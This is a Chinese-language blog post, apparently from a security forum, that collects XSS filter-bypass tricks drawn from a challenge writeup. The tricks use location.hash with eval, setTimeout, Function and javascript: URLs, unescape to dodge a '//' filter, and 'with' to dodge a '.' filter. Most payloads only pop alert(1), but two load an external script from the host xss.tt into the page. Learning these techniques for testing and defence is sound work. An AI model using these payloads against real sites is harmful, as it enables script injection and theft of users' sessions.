前言


近日在看些xss相关的知识,在乌云知识库上,有篇XSS挑战第一期Writeup里面姿势很多,能力不足,有些无法复现,就把自己觉得好玩的写下来。

location


Location对象对于我们构造一些另类的xss payload有很大的帮助,例如P牛这篇文章介绍的使用编码利用location来变形我们的XSS Payload

Location


在介绍Location的属性前,我们先来了解下slice()方法。

slice() 方法可从已有的字符串中返回选定的元素。

location.hash


查阅文档。

我们关注的重点是#的作用,location对象的hash属性用于设置或取得 URL 中的锚部分。

例如我们现在的网址为http://localhost/1.html#s9mf,我们在控制台输入location.hash,则会返回我们设定的

利用这个特性,在构造xss代码时,可以把一部分payload,放置在测试语句的尾部。

例子:

<body/onload=eval(location.hash.slice(1))>#alert(1)

这里用eval执行通过location.hash获取过来的alert(1)代码,slice方法在这里的作用是截取下标为1以后的字符串元素(包括1)。如果你还是不太理解,那么我们用document.write输出到页面。

可见,slice方法在这里返回的字符串为alert(1)substr方法在这里也可以代替slice使用。

<body/onload=setTimeout(location.hash.substr(1))()>#alert(1)

这里使用的setTimeout,也可以使用constructor属性来执行代码,不过要记住加个()

Set.constructor(location.hash.substr(1))()

也可以使用execScript,不过execScript是IE浏览器独有,所以只能在IE弹,相比较下eval则是所有浏览器都支持。

<body/onload=execScript(location.hash.substr(1))>#alert(1)

使用Function匿名函数来执行尾部的代码。

<body/onload=Function(location.hash.slice(1))()>#alert(/xss/)

利用伪协议

<body/onload=eval(location.hash.slice(1))>#javascript:alert(1)

利用注释,引用伪协议后开始变得有趣。

<svg/onload=location='javascript:/*'%2blocation.hash> #*/alert(1)

更进一步。

<svg/onload=location="javascript:"%2binnerHTML%2blocation.hash>"  #"-alert(1)

unescape()


unescape()函数用于对已经使用escape()函数编码的字符串进行解码,并返回解码后的字符串。

我们引入外部url时,如果拦截//,我们可以先url编码,再解码。

例如:

<svg/onload=appendChild(createElement('script')).src=unescape('http%3A%2F%2Fxss.tt%2F1te')>

with


with语句可以方便地用来引用某个特定对象中已有的属性。使用with可以实现通过节点名称的对象调用。

如果.被拦截,我们可以尝试with

<svg/onload=with(location)with(hash)eval(alert(1))>

基于DOM的方法创建和插入节点把外部JS文件注入到网页中,也可以应用with。

<svg/onload="[1].find(function(){with(`docom'|e|'nt`);;body.appendChild(createElement('script')).src='http://xss.tt/XA'})">

参考


点击收藏 | 4 关注 | 1
登录 后跟帖